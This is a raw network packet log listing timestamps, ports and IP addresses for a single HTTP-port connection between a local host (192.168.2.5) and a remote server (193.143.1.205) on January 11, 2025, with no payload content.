Jan 11, 2025 03:42:06.707664013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.707676888 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.707699060 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.731802940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.731827021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.731841087 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.731905937 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.731919050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.731997967 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.731997967 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.731997967 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.732001066 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.732089043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.732103109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.732126951 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.732283115 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.732300043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.732312918 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.732325077 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.732326984 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.732347965 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.732556105 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.732593060 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.732709885 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.732753038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.732765913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.732779026 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.732812881 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.732812881 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.733071089 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.733086109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.733098984 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.733112097 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.733125925 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.733134031 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.733149052 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.733396053 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.733429909 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.733458996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.733474016 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.733510017 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.733649015 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.733700991 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.733716011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.733728886 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.733752012 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.733774900 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.733923912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.733939886 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.733954906 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.733966112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.733973026 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.733998060 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.734263897 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.734390974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.734405041 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.734425068 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.734566927 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.734580994 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.734594107 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.734602928 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.734626055 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.734791040 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.734803915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.734817028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.734829903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.734842062 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.734843016 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.734868050 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.735348940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.735364914 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.735378981 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.735388041 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.735413074 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.735559940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.735574007 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.735586882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.735599041 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.735608101 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.735635042 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.735784054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.735799074 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.735820055 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.735830069 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.735833883 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.735877037 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.736224890 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.736288071 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.736300945 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.736323118 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.736545086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.736561060 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.736574888 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.736581087 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.736608028 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.736702919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.736716986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.736753941 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.736869097 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.736881971 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.736895084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.736912966 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.737215042 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.737241983 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.737250090 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.737255096 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.737291098 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.737435102 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.737449884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.737464905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.737484932 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.737651110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.737664938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.737678051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.737687111 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.737690926 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.737704992 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.737713099 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.737737894 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.738239050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.738253117 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.738287926 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.738542080 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.753329039 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.753371954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.753385067 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.753441095 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.753483057 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.753498077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.753524065 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.753660917 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.753675938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.753698111 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.778309107 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778332949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778362036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778373003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778387070 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778399944 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778414011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778414965 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.778428078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778578997 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.778625965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778671026 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.778764963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778776884 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778789997 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778801918 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778814077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778819084 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.778825998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778836012 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.778844118 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778857946 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.778867006 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.778902054 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.779246092 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.779258966 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.779270887 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.779278040 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.779309988 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.779334068 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.794692039 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.794706106 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.794718981 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.794842958 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.794852972 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.794855118 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.794924974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.794929981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.794940948 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.794954062 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.794972897 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.794986963 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.817723036 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.819291115 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.819340944 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.819355011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.819426060 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.819439888 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.819497108 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.819497108 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.819533110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.819554090 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.819566011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.819572926 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.819598913 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.819746017 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.819760084 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.819772005 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.819796085 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.819927931 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.819941044 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.819952965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.819963932 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.819991112 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.820147038 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820159912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820173025 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820183992 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820194960 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.820199966 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820218086 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.820466042 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820477962 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820489883 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820501089 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.820501089 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820516109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820524931 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.820528030 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820540905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820552111 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.820558071 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820575953 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.820931911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820945024 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820956945 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820970058 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820976019 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.820982933 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.820995092 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.821019888 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.821309090 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.821322918 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.821335077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.821347952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.821358919 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.821360111 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.821374893 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.821388006 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.821393967 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.821399927 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.821408033 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.821419001 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.821430922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.821439028 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.821461916 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.822010040 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822025061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822036028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822047949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822060108 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822061062 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.822072983 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822082043 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.822086096 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822098017 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822112083 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822124958 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822124958 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.822140932 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822146893 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.822161913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822166920 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.822182894 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822201967 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.822897911 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822912931 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822926998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822933912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822938919 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.822947025 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822962046 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.822962999 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822978020 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.822988987 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.823016882 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.823352098 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.823365927 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.823379993 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.823390961 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.823404074 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.823410988 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.823440075 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.835638046 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.835683107 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.835695028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.835721970 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.835769892 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.835796118 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.835808992 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.835850000 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.835966110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.835978031 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.836005926 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.836034060 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.836070061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.836082935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.836102009 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.836296082 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.836308002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.836318970 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.836329937 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.836330891 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.836344957 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.836355925 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.836355925 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.836373091 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.836384058 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.836409092 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.836669922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.836682081 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.836693048 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.836702108 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.836714029 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.836735964 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.840816975 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.840847015 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.840857029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.840889931 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.843637943 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.860389948 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.860424042 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.860435963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.860464096 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.860500097 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.860547066 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.860559940 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.860600948 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.865502119 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.865592003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.865631104 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.865641117 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.865782976 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.865794897 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.865819931 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.865847111 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.865880013 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.866050959 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.866065979 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.866077900 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.866099119 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.866103888 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.866117001 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.866151094 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:42:06.866314888 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.866327047 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 03:42:06.866339922 CET	80	49705	193.143.1.205	192.168.2.5
